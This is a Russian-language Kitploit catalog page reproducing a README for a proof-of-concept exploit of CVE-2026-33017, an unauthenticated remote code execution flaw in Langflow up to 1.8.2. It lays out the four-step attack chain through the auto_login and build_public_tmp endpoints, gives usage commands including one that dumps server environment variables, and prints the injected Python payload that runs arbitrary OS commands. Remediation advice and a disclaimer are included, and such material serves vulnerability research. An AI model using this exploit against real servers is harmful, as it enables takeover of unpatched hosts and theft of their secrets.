Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-33017-langflow-rce — Эксплойт доказательства концепции для CVE-2026-33017, демонстрирующий неаутентифицированное удаленное выполнение кода в Langflow через внедрение вредоносного CustomComponent через общедоступные конечные точки сборки. | Kitploit
Инструменты/GitHubGitHub/r3nsi15/cve-2026-33017-langflow-rce
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеRed TeamingРазработка Полезной Нагрузки
GitHubr3nsi15/cve-2026-33017-langflow-rce

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-33017-langflow-rce

Эксплойт доказательства концепции для CVE-2026-33017, демонстрирующий неаутентифицированное удаленное выполнение кода в Langflow через внедрение вредоносного CustomComponent через общедоступные конечные точки сборки.

Репозиторий
2 месяцев назадЕщё не проверено

CVE-2026-33017 — Langflow Неавторизованное удалённое выполнение кода (RCE)

Обзор

CVE ID: CVE-2026-33017
Затронутое ПО: Langflow Уязвимые версии: <= 1.8.2 Исправленная версия: >= 1.9.0 Серьёзность: Критическая
Автор: r3nsi15
Дата: 2026

Описание

Langflow предоставляет публичную конечную точку сборки потока (/api/v1/build_public_tmp/{flowID}/flow), которая принимает произвольные блоки кода CustomComponent и выполняет их на стороне сервера без аутентификации. Внедряя вредоносную полезную нагрузку Python в поле code узла CustomComponent, неавторизованный злоумышленник может выполнять произвольные команды операционной системы с привилегиями процесса сервера Langflow.

Цепочка атаки сначала злоупотребляет конечной точкой /api/v1/auto_login, которая выдаёт токен носителя без требования учётных данных, когда Langflow работает в конфигурации автоматического входа по умолчанию. Затем использует этот токен для создания временного публичного потока и запускает выполнение кода на стороне сервера через конечную точку сборки.

Уязвимые конечные точки

Proof of Concept

Файл: CVE-2026-33017_POC.py

Требования

  • Python 3.x
  • библиотека requests
  • Сетевой доступ к экземпляру Langflow, работающему с включённым авто-входом
root@kitploit:~
pip install requests

Использование

root@kitploit:~
python3 CVE-2026-33017_POC.py -u <target_url> -c <command> [-d]

Аргументы

Примеры

Проверка выполнения кода:

root@kitploit:~
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"

Получение переменных окружения сервера:

root@kitploit:~
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"

Оставить поток активным после эксплуатации (пропустить очистку):

root@kitploit:~
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d

Ожидаемый вывод

root@kitploit:~
[+] Got token
[+] Created flow with id: <id>
[+] Exploit sent successfully!
[+] Flow deleted successfully!

Разбор полезной нагрузки

Эксплойт внедряет следующий фрагмент Python в поле code узла CustomComponent:

root@kitploit:~
from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<command>)
class ExploitComponent(Component):
    display_name = "ExploitComponent"
    outputs = [Output(display_name="Result", name="output", method="run")]
    def run(self):
        return "ok"
  • __import__('os').system(...) — динамически импортирует модуль os и выполняет команду оболочки, предоставленную злоумышленником, на сервере.
  • Остальная часть определения класса представляет собой валидный CustomComponent, необходимый для удовлетворения загрузчика компонентов Langflow без возникновения ошибки разбора.
  • Поток создаётся как PUBLIC, и конечная точка сборки вызывается на его публичном эндпоинте, поэтому для запуска выполнения не требуется ни cookie сессии, ни токен аутентификации.

Первопричина

Система CustomComponent в Langflow позволяет отправлять произвольный код Python как часть определения потока. Конечная точка /api/v1/build_public_tmp/{flowID}/flow собирает и частично выполняет этот код на стороне сервера, включая операторы на уровне модуля, без изоляции или ограничения доступа к встроенным функциям Python, таким как __import__.

Схема атаки

root@kitploit:~
1. GET /api/v1/auto_login          →  Получить токен Bearer (учётные данные не требуются)
2. POST /api/v1/flows/             →  Создать PUBLIC поток (токен Bearer)
3. POST /api/v1/build_public_tmp/  →  Внедрить и выполнить вредоносный CustomComponent (без аутентификации)
4. DELETE /api/v1/flows/{id}       →  Очистить (опционально)

Все четыре шага могут быть выполнены анонимным злоумышленником на развёртывании Langflow по умолчанию.

Исправление

  • Обновите Langflow до версии 1.9.0 или выше.
  • Отключите авто-вход (LANGFLOW_AUTO_LOGIN=false) в любом развёртывании, доступном из интернета.

Отказ от ответственности

Эта программа для концептуальной проверки предоставлена только для образовательных целей и авторизованных исследований безопасности. Использование этого скрипта против систем без явного письменного разрешения является незаконным и неэтичным. Автор и участники не несут ответственности за неправомерное использование.

Скачать инструмент
Конечная точкаМетодТребуется аутентификацияНазначение
/api/v1/auto_loginGETНетПолучение токена носителя (авто-вход должен быть включён)
/api/v1/flows/POSTДа (Bearer)Создание нового потока
/api/v1/build_public_tmp/{flowID}/flowPOSTНет (публичный)Запуск сборки — уязвимая точка выполнения
/api/v1/flows/{flowID}DELETEДа (Bearer)Очистка созданного потока
ФлагДлинная формаОбязательныйОписание
-u--urlДаБазовый URL экземпляра Langflow
-c--commandДаКоманда ОС для выполнения на сервере
-d--deleteНетУдалить созданный поток после эксплуатации